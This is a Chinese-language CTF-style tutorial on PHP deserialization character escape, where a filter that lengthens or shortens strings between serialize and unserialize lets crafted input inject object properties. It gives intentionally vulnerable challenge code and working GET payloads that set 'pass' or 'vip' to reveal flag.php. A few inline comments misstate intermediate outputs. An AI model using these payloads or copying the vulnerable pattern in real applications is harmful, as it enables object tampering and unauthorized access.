一.字符串可逃逸的基础
反序列化分隔符
反序列化以;}结束,后面的字符串不影响正常的反序列化
属性逃逸
一般在数据先经过一次serialize再经过unserialize,在这个中间反序列化的字符串变多或者变少的时候有可能存在反序列化属性逃逸。
对于PHP反序列字符逃逸,我们分为以下两种情况进行讨论。
过滤后字符变多
过滤后字符变少
二.例题
字符串变多
<?php
highlight_file(__FILE__);
error_reporting(0);
function filter($name){
$safe=array("flag","php");
$name=str_replace($safe,"hack",$name);
return $name;
}
class test{
var $user;
var $pass='daydream';
function __construct($user){
$this->user=$user;
}
}
$param=$_GET['param'];
$param=serialize(new test($param));
$profile=unserialize(filter($param));
if ($profile->pass=='escaping'){
echo file_get_contents("flag.php");
}
?>
先分析一下这里需要让pass的值为escaping
但是class类里赋了pass='daydream'
所以我们的思路就是要让后面的pass='daydream'被注释掉
通过控制可控的变量user 给pass赋值为escaping
代码分析
<?php
function filter($name)
{
$safe = array("flag", "php");
$name = str_replace($safe, "hack", $name);//把flag或者php变为hack 这里我们只能利用php 因为flag和hack长度一样 不会出现逃逸
return $name;//这里先判断出字符串长度是增加了
}
class test
{
var $user;
var $pass = 'daydream';
function __construct($user)
{
$this->user = $user;
}
}
$param = $_GET['param'];
$param = serialize(new test($param));
$profile = unserialize(filter($param));
if ($profile->pass == 'escaping') {//如果这里pass的值为escaping
echo file_get_contents("flag.php");//显示文件flag.php
}
构造payload
<?php
function filter($name)
{
$safe = array("flag", "php");
$name = str_replace($safe, "hack", $name); //把flag或者php变为hack 这里我们只能利用php 因为flag和hack长度一样 不会出现逃逸
return $name; //这里先判断出字符串长度是增加了
}
class test
{
var $user;
var $pass = 'escaping';
function __construct($user)
{
$this->user = $user;
}
}
$param = 'phpphpphpphpphpphpphpphpphpphpphpphpphpphpphpphpphpphpphpphpphpphpphpphpphpphpphpphpphp";s:4:"pass";s:8:"escaping";}';
$param = serialize(new test($param));
$a = filter($param);
//$profile = unserialize(filter($param));
echo $a;//O:4:"test":2:{s:4:"user";s:3:"hack";s:4:"pass";s:8:"daydream";}
//这里的php已经变成flag了
//但是字符串长度还是3
//这里的思路也是通过构造让后面的k变成‘ ";s:4:"pass";s:8:"escaping";} ’
//让后面的";s:4:"pass";s:8:"daydream";}被注释掉
//$param = 'phpphpphpphpphpphpphpphpphpphpphpphpphpphpphpphpphpphpphpphpphpphpphpphpphpphpphpphpphp";s:4:"pass";s:8:"escaping";}'
这里的通过filter($param)
php已经变成flag了
但是字符串长度还是3
这里的思路也是通过构造让后面的k变成‘ ";s:4:"pass";s:8:"escaping";} ’(29个字符)说明我们前面应该有29个php
让后面的";s:4:"pass";s:8:"daydream";}被注释掉
$param = 'phpphpphpphpphpphpphpphpphpphpphpphpphpphpphpphpphpphpphpphpphpphpphpphpphpphpphpphpphp";s:4:"pass";s:8:"escaping";}'
输出结果
O:4:"test":2:{s:4:"user";s:116:"hackhackhackhackhackhackhackhackhackhackhackhackhackhackhackhackhackhackhackhackhackhackhackhackhackhackhackhackhack";s:4:"pass";s:8:"escaping";}";s:4:"pass";s:8:"escaping";}
这里正好hack...是116个字符
证明我们构造成功
字符串减少
<?php
function filter($name){
$safe=array("flag","php");
$name=str_replace($safe,"hk",$name);//调用fliter函数把里面含有flag或者php字符串的堵换成hk
return $name;
}
class test{
var $user;
var $pass;
var $vip = false ;
function __construct($user,$pass){
$this->user=$user;
$this->pass=$pass;
}
}
$param=$_GET['user'];
$pass=$_GET['pass'];
$param=serialize(new test($param,$pass));
$profile=unserialize(filter($param));
if ($profile->vip){
echo file_get_contents("flag.php");
}
?>
分析
当vip为的值为真值时 显示flag.php
所以我们要控制可控变量使vip的布尔值为真
把后面vip为假的时候注释掉
这里把flag 或者php替代成hk 可以减少一个或者两个字符
这里以flag为例(减少一半工程量)
<?php
function filter($name)
{
$safe = array("flag", "php");
$name = str_replace($safe, "hk", $name);
return $name;
}
class test
{
var $user;
var $pass;
var $vip = false;
function __construct($user, $pass)
{
$this->user = $user;
$this->pass = $pass;
}
}
// $param = 'flagflag'; // $_GET['user'];
// $pass = 'b'; //$_GET['pass'];
$param = 'flagflagflagflagflagflagflagflagflagflag';
$pass = '1";s:4:"pass";s:1:"b";s:3:"vip";b:1;}';
$param = serialize(new test($param, $pass)); //把$param和$pass的值赋值给$user和$pass //O:4:"test":3:{s:4:"user";s:1:"a";s:4:"pass";s:1:"b";s:3:"vip";b:0;}
//echo $param;
$a = filter($param);
echo $a;//O:4:"test":3:{s:4:"user";s:8:"hkhk";s:4:"pass";s:1:"b";}
//这里user的字符串已经从flagflag 替换成了hkhk 但是字符串长度还是8 这样 他就会以为user里面的内容为‘hkhk";s:’
//如果我们通过构造使其里面的内容为'hkhk";s:4:"pass";s:xx:"' 这样我们通过构造可控变量pass的值 让它后面变成s:3:"vip";b:1;}
//反序列化时候检查到;}就会结束 就相当于后面s:1:"b";}被我们注释掉了
//pass=1";s:4:"pass";s:1:"b";s:3:"vip";b:1;}
//param=flagflagflagflagflagflagflagflagflagflag
这里user的字符串已经从flagflag 替换成了hkhk 但是字符串长度还是8 这样 他就会以为user里面的内容为‘hkhk";s:’
如果我们通过构造使其里面的内容为'hkhk";s:4:"pass";s:xx:"' 这样我们通过构造可控变量pass的值 让它后面变成s:3:"vip";b:1;}
反序列化时候检查到;}就会结束 就相当于后面s:1:"b";}被我们注释掉了
payload:
pass=1";s:4:"pass";s:1:"b";s:3:"vip";b:1;}
param=flagflagflagflagflagflagflagflagflagflag
输出
O:4:"test":3:{s:4:"user";s:40:"hkhkhkhkhkhkhkhkhkhk";s:4:"pass";s:37:"1";s:4:"pass";s:1:"b";s:3:"vip";b:1;}";s:3:"vip";b:0;}
巧妙构造user = ‘ hkhkhkhkhkhkhkhkhkhk";s:4:"pass";s:37:"1 ’
表示我们构造成功
over